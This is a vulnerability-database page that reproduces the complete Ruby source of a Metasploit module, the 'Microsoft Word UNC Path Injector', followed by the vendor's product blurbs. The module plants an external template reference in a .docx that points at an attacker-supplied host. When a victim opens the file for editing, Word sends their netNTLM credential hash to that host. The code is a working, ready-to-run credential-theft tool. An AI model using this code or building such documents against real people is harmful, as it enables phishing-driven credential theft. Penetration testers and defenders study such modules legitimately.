Lucene search
K

Microsoft Word UNC Path Injector

🗓️ 01 May 2025 18:50:55Reported by SphaZ <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 282 Views

This module modifies a .docx file that will, upon opening, submit storednetNTLM credentials to a remote host. It can also create an empty docx file. Ifemailed the receiver needs to put the document in editing mode before the remoteserver will be c...

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zip'
require 'rex/zip'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::FILEFORMAT
  include Msf::Module::Deprecated

  moved_from 'auxiliary/docx/word_unc_injector'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Word UNC Path Injector',
        'Description' => %q{
          This module modifies a .docx file that will, upon opening, submit stored
          netNTLM credentials to a remote host. It can also create an empty docx file. If
          emailed the receiver needs to put the document in editing mode before the remote
          server will be contacted. Preview and read-only mode do not work. Verified to work
          with Microsoft Word 2003, 2007, 2010, and 2013. In order to get the hashes the
          auxiliary/server/capture/smb module can be used.
        },
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534' ]
        ],
        'Author' => [
          'SphaZ <cyberphaz[at]gmail.com>'
        ],
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptAddressLocal.new('LHOST', [true, 'Server IP or hostname that the .docx document points to.']),
        OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document.']),
        OptString.new('FILENAME', [true, 'Document output filename.', 'msf.docx']),
        OptString.new('DOCAUTHOR', [false, 'Document author for empty document.']),
      ]
    )
  end

  # here we create an empty .docx file with the UNC path. Only done when FILENAME is empty
  def make_new_file
    metadata_file_data = ''
    metadata_file_data << '<?xml version="1.0" encoding="UTF-8" standalone="yes"?><cp:coreProperties'
    metadata_file_data << ' xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" '
    metadata_file_data << 'xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" '
    metadata_file_data << 'xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
    metadata_file_data << "<dc:creator>#{datastore['DOCAUTHOR']}</dc:creator><cp:lastModifiedBy>#{datastore['DOCAUTHOR']}"
    metadata_file_data << '</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">'
    metadata_file_data << '2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">'
    metadata_file_data << '2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>'

    # where to find the skeleton files required for creating an empty document
    data_dir = File.join(Msf::Config.data_directory, 'exploits', 'docx')

    zip_data = {}

    # add skeleton files
    vprint_status("Adding skeleton files from #{data_dir}")
    Dir["#{data_dir}/**/**"].each do |file|
      if !File.directory?(file)
        zip_data[file.sub(data_dir, '')] = File.read(file, mode: 'rb')
      end
    end

    # add on-the-fly created documents
    vprint_status('Adding injected files')
    zip_data['docProps/core.xml'] = metadata_file_data
    zip_data['word/_rels/settings.xml.rels'] = @rels_file_data

    # add the otherwise skipped "hidden" file
    file = "#{data_dir}/_rels/.rels"
    zip_data[file.sub(data_dir, '')] = File.read(file, mode: 'rb')
    # and lets create the file
    zip_docx(zip_data)
  end

  # here we inject an UNC path into an existing file, and store the injected file in FILENAME
  def manipulate_file(file_path)
    fail_with(Failure::BadConfig, 'Not enough rights to read the file. Aborting.') unless File.stat(file_path).readable?

    # lets extract our docx and store it in memory
    zip_data = unzip_docx(file_path)

    # file to check for reference file we need
    file_content = zip_data['word/settings.xml']
    if file_content.nil?
      fail_with(Failure::BadConfig, 'Bad "word/settings.xml" file, check if it is a valid .docx.')
    end

    # if we can find the reference to our inject file, we don't need to add it and can just inject our unc path.
    if file_content.to_s.include?('w:attachedTemplate r:id="rId1"')
      vprint_status('Reference to rels file already exists in settings file, we dont need to add it :)')
      zip_docx(zip_data)
      return true
    end

    ref = '<w:attachedTemplate r:id="rId1"/>'

    # now insert the reference to the file that will enable our malicious entry
    insert_one = file_content.index('<w:defaultTabStop')

    if insert_one.nil?
      insert_two = file_content.index('<w:hyphenationZone') # 2nd choice
      if !insert_two.nil?
        vprint_status('HypenationZone found, we use this for insertion.')
        file_content.insert(insert_two, ref)
      else
        fail_with(Failure::Unknown, 'Cannot find insert point for reference into settings.xml')
      end
    else
      vprint_status('DefaultTabStop found, we use this for insertion.')
      file_content.insert(insert_one, ref)
    end

    # update the files that contain the injection and reference
    zip_data['word/settings.xml'] = file_content
    zip_data['word/_rels/settings.xml.rels'] = @rels_file_data

    # lets zip the end result
    zip_docx(zip_data)
    true
  end

  # making the actual docx from the hash
  def zip_docx(zip_data)
    docx = Rex::Zip::Archive.new
    zip_data.each_pair do |k, v|
      docx.add_file(k, v)
    end
    file_create(docx.pack)
  end

  # unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way
  def unzip_docx(file_path)
    # Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::File
    vprint_status("Extracting #{file_path} into memory.")
    # we read it all into memory
    zip_data = Hash.new
    Zip::File.open(file_path) do |filezip|
      filezip.each do |entry|
        zip_data[entry.name] = filezip.read(entry)
      end
    end

    zip_data
  rescue Zip::Error
    fail_with(Failure::BadConfig, "Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.")
  end

  def run
    # we need this in make_new_file and manipulate_file
    @rels_file_data = ''
    @rels_file_data << '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'
    @rels_file_data << '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
    @rels_file_data << '<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"'
    @rels_file_data << " Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"

    if datastore['SOURCE'].blank?
      # make an empty file
      print_status("Creating empty document that points to #{datastore['LHOST']}.")
      make_new_file
    else
      # extract the word/settings.xml and edit in the reference we need
      print_status('Injecting UNC path into existing document.')
      unless manipulate_file(datastore['SOURCE'])
        fail_with(Failure::Unknown, "Failed to create a document from #{datastore['SOURCE']}.")
      end
      print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jul 2026 19:03Current
5.8Medium risk
Vulners AI Score5.8
282